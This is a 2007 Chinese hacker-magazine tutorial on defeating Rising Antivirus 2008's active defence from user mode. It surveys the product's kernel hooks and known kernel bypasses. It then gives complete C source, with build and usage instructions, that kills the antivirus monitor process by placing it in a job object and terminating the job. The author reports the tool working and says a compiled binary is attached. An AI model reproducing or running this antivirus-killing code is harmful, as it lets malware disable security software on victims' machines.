浅析ring3下对抗08瑞星主动防御

文章作者:willy123
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注:文章已经发表在2007年12期《黑客防线》,后由原创作者提交到邪恶八进制信息安全团队,转载请注明原始出处。

其实我对瑞星杀毒软件的印象一直还是不错的,占用资源不大,效率也还不错,而且能看到软件本身在不断进步,毕竟是国产的杀毒软件,还是应该支持一下的。废话不多说了,我们来进入正题,08瑞星不久前刚刚上市,其最主要的技术亮点在于其公司宣传的“主动防御”,下面引用瑞星公司的介绍“瑞星杀毒软件2008 中采用的主动防御技术包含三个层次,资源访问规则控制;资源访问扫描;程序活动行为分析引擎,其中尤其以行为分析引擎技术最为关键。”
从图二中我们可以清楚的看到,在资源访问规则控制里列举了大量hips规则,比如关键进程保护,防Dll注入,限制全局钩子等等,以往对瑞星有效的如模拟发送消息和模拟按键等方法通通失效。
那么我们就真的没有办法对抗瑞星的主动防御技术吗?答案当然是否定的,所谓知己知彼,百战不殆,首先有必要了解瑞星采取了哪些措施来实现其主动防御规则,才能找到相应的突破办法。通过使用Rootkit Unhooker之类的anti-rootkit工具对瑞星的分析,我们可以发现,瑞星主要采取以下手段实现其主动防御的措施
一:SSDT HOOK,这是一种很多杀毒软件和安全工具使用的方法(具体资料大家可以上网搜索,这里就不占用黑防的版面了),瑞星挂钩了ZwLoadDriver用来防止通过SCM的驱动加载,挂钩了ZwCreateThread、ZwWriteProcessMemory来防止远程线程注入,注册表方面挂钩了 ZwCreateKey、ZwDeleteKey、ZwDeleteKey等等来防止程序对注册表的修改,在自我保护方面挂钩了 ZwTerminateProcess来保护自身程序不被结束。
二:Shadow SSDT HOOK ,挂钩了NtuserSetWindowsHookex用来拦截全局钩子,挂钩NtuserSendInput来拦截键盘鼠标等模拟输入
三:HOOK了\Filesystem\ntfs\下的一些IRP用于拦截文件操作等等
还有一些HOOK这里就不多说了,有兴趣的朋友可以自己用anti-rootkit工具去扫描看看
好了,现在分析完了08瑞星为主动防御采取的措施,我们来看看如何绕过,很多牛人都给出了一些绕过的方法,基本思路有以下几种
一:采用特殊方法加载驱动,如使用ZwSetSystemInformation加载驱动,进入内核后恢复SSDT,然后做自己想做的事
二:利用瑞星没有拦截的api来操作系统,如使用ZwSaveKey,ZwRestroeKey等方式写入注册表
但这些技术对于广大的菜鸟朋友来说还不容易做到,况且ring0下的程序通用性和易用性都不很好,不适合不同操作系统之间的移植。今天我要介绍一种ring3 下安全结束瑞星进程的方法,即“利用作业对象结束进程”。首先让大家看一段关于作业对象的介绍
“作业对象是Windows 2000进入企业应用的标志之一,是NT新的一个内核对象,与线程和进程有相似的特性。我们可以把一系列相关的进程集合在一起,关联到一个可以进行整体管理的作业对象上。作业对象可以被命名、共享和设置访问许可,关联在作业对象中的进程有继承性,即作业对象中任何进程的子进程也属于同一个作业对象。类似于磁盘配额,我们可以把一个应用程序的所有进程关联到一个作业对象中,通过对作业对象加以各种限制(CPU时间、RAM分配、安全性等),我们可以实现对应用程序完全的控制、管理和跟踪”
说白了就是给你需要操作的进程,应用程序创建一个新的名字,规定一种特殊的机制来管理这些程序,还可以为这些程序加上各种限制,比如限制程序的CPU时间, RAM分配等等,说到这里,聪明的读者可能已经想到我要说什么了,对!把瑞星程序关联到我们自己创建的一个作业对象中去,这样我们就可以对这个作业对象为所欲为了。
下面来讨论下具体程序的实现,这里主要运用了三个API函数,CreateJobObject,ssignProcessToJobObject, TerminateJobObject,从字面上我们就可以知道这个程序的思路了:首先,调用CreateJobObject来创建一个作业对象,然后调用AssignProcessToJobObject函数把进程关联到作业对象中,最后我们调用TerminateJobObject函数,这时与作业对象关联的所有进程都被终止。呵呵是不是很简单,比起那些让你头大的驱动更加简便实用。
下面是程序的主要代码,

#include "stdafx.h"
#include <string.h>
#include <iostream.h>
#include<stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib,"Kernel32.lib")
#include <WinBase.h>

int main(int argc, char* argv[])
{
BOOL res=FALSE;
HANDLE hjob=CreateJobObject(NULL,TEXT("killrav")); //建立job对象,命名为killrav

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0,atoi(argv[1]));//打开进程

if (hProcess==NULL) //打开失败

{
printf("\t\t OpenProcessError!please Look up your Privilege first ^_^\n");

return 0;
}

AssignProcessToJobObject(hjob,hProcess);//将进程和对象关联起来

res=TerminateJobObject(hjob,0);//结束对象
if (res==FALSE) printf("\t\t Sorry ,can't kill the process you want \n");

else
printf("\t\t Ok ,Now you can check if the process still exists \n");

return 0;
}

代码很简单,我已经做了比较详细的注释,不懂的朋友可以去查msdn,上网搜索也可以,顺便说下stdafx.h这个头文件的第一行要加一句 “#define _WIN32_WINNT 0x0500”的宏定义,否则程序会编译失败,程序在windows xp sp2 home版和vc++6.0环境下编译成功,其它的我就不多说了.
最后我们来实验下程序(编译好的程序我已打包放在附件中),来到命令提示符下,运行killrav.exe 2788,这里的2788是 Ravmon.exe 在我的机子上的pid号,呵呵,成功了,瑞星的小绿伞消失了,对于瑞星其他的程序需要先提升权限,代码我就不提供了,大家可以翻看往期的黑防。

相关日志

发表评论